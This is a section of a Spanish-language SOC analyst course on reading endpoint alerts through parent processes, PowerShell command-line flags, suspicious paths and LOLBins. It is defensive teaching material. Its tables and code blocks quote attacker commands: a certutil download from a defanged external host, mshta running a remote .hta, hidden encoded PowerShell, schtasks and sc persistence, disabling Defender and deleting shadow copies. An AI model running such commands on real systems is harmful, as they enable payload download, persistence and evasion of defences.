SECCIÓN 5.3

Análisis de procesos, parent process, línea de comandos y LOLBins

Temas de esta sección:

- Por qué el proceso no se analiza solo
- Parent process: esperado vs inesperado · Procesos Office como padre
- Línea de comandos: parámetros sospechosos en PowerShell
- Rutas sospechosas y nombres engañosos
- Árbol de procesos en EDR
- LOLBins en eventos reales: PowerShell, certutil, rundll32, mshta, wscript, schtasks, sc.exe
- Comandos de reconocimiento, descarga, persistencia y evasión

5.3 | Parent process: esperado vs inesperado

El proceso padre es el campo más revelador en alertas de endpoint. Define la cadena de ejecución:

```
# Padres esperados para PowerShell:
explorer.exe → powershell.exe
powershell.exe → powershell.exe
cmd.exe → powershell.exe
services.exe → powershell.exe (scripts de servicio)
ITservices.exe → powershell.exe (despliegue IT)

# Padres INESPERADOS (alta sospecha):
WINWORD.EXE → powershell.exe
OUTLOOK.EXE → powershell.exe
EXCEL.EXE → powershell.exe
chrome.exe → powershell.exe
wscript.exe → powershell.exe
```

Por qué importa el padre Office:

- Office no debería iniciar PowerShell en operación normal
- Si Word ejecuta PS → adjunto malicioso o macro
- El padre define si hubo interacción del usuario
- Padre inesperado = señal fuerte de ejecución inicial

```
# Otros padres inesperados frecuentes en incidentes reales:
apache2 / nginx → bash → curl                  (post-explotación web)
w3wp.exe → cmd.exe → whoami                   (web shell en IIS)
java.exe → cmd.exe → powershell.exe            (post-explotación Java)
svchost.exe → powershell.exe -enc             (inyección de proceso)
```

Regla práctica: si el proceso padre no tiene razón operativa para ejecutar ese hijo, es señal de alerta. Siempre preguntarse: ¿por qué ese padre generó ese hijo?

5.3 | Línea de comandos: parámetros sospechosos en PowerShell

PowerShell es la herramienta más abusada. No es el proceso: es cómo se ejecuta:

Parámetro	Significado	Por qué importa
-EncodedCommand / -enc	Comando codificado en Base64	Oculta la intención. Ver qué hace al decodificar.
-ExecutionPolicy Bypass	Evita restricción de scripts	Indica intención de saltear controles.
-nop / -NoProfile	No carga perfil del usuario	Reduce logging. Señal de evasión.
-w hidden / -WindowStyle Hidden	Ventana oculta	El usuario no ve la ejecución. Evasión visual.
Invoke-WebRequest / IEX / DownloadString	Descarga y ejecuta en memoria	Trae payload o lo ejecuta sin archivo en disco.
FromBase64String + Invoke-Expression	Decodifica y ejecuta	Ejecución de código ofuscado en dos pasos.
-NonInteractive / -noni	Sin interacción del usuario	Scripts automatizados, sin necesidad de input.
Set-MpPreference -Disable...	Deshabilita Windows Defender	Acción de evasión explícita ante defensas.

```
Combinación crítica: WINWORD.EXE → powershell.exe -nop -w hidden -enc <base64> → conexión externa
```

La ruta de ejecución y el nombre del proceso son señales de contexto importantes:

Rutas sospechosas

- C:\Users\<user>\AppData\Roaming\
- C:\Users\Public\
- C:\Windows\Temp\
- C:\ProgramData\
- C:\Users\<user>\Downloads\
- C:\Users\<user>\Desktop\

Por qué: software legítimo corporativo generalmente vive en C:\Program Files\ o C:\Windows\System32\.

Software en rutas de usuario sin firma y sin ticket es una señal de alerta.

Nombres engañosos

- svchost32.exe (el real es solo svchost.exe)
- OneDriveUpdate.exe (en C:\Users\Public\)
- WindowsUpdateCheck (creado remotamente)
- GoogleCrashHandler (binario sin firma)
- AdobeFlashInstall.exe (descargado hoy)
- svcupdate.exe (tarea programada engañosa)

Validar siempre: firma digital, hash, ruta real, proceso que lo creó y si existe ticket asociado.

Nombre legítimo + ruta sospechosa = señal fuerte. Ejemplo: svchost.exe en C:\Users\Public\ siempre es sospechoso.

5.3 | El árbol de procesos: la vista más útil de EDR

Un árbol de procesos permite ver la cadena de ejecución completa y construir una historia:

```
OUTLOOK.EXE
└── WINWORD.EXE
    └── powershell.exe
        ├── certutil.exe          # download payload
        └── update.exe
            └── schtasks.exe      # create persistence
```

Esta secuencia cuenta una historia:

- Correo o adjunto (Outlook)
- Documento abierto (Word)
- PowerShell ejecutado con parámetros
- Descarga o decodificación (certutil)
- Payload ejecutado (update.exe)
- Persistencia creada (schtasks)

Comandos que ayudan a entender la intención:

```
Reconocimiento: whoami, ipconfig, net view,
  nltest, arp -a  → Conocer el entorno
Descarga: Invoke-WebRequest, certutil -urlcache,
  curl  → Traer payload
```

```
Persistencia: schtasks /Create, reg add ...\Run,
  sc create  → Mantenerse activo
Evasión: Set-MpPreference -Disable...,
  vssadmin delete shadows  → Reducir defensas
```

Eventos reales con LOLBins y qué analizar en cada uno:

LOLBin	Parent	Comando / Detalle	Por qué es sospechoso
powershell.exe	WINWORD.EXE	-nop -w hidden -enc <base64>	Padre Office + parámetros ocultos + dominio externo
certutil.exe	cmd.exe	-urlcache -split -f hxxp://files-check.net/a.exe C:\Pub...	Descarga ejecutable + ruta pública + ejecución posterior
mshta.exe	WINWORD.EXE	hxxps://docs-preview-check.net/a.hta	Office → mshta ejecuta contenido remoto → PS
wscript.exe	OUTLOOK.EXE	C:\Users\rrhh.silva\Downloads\CV_Candidato.js	Script en Downloads desde Outlook → PS
schtasks.exe	svcupdate.exe	/Create /SC MINUTE /MO 10 /TN OneDriveUpdate /TR C:\Pub...	Nombre engañoso + binario en Public + ejecución recurrente
sc.exe	cmd.exe	\\APP-SRV-03 create WindowsUpdateCheck binPath= C:\Temp...	Creación remota + servidor destino + binario en Temp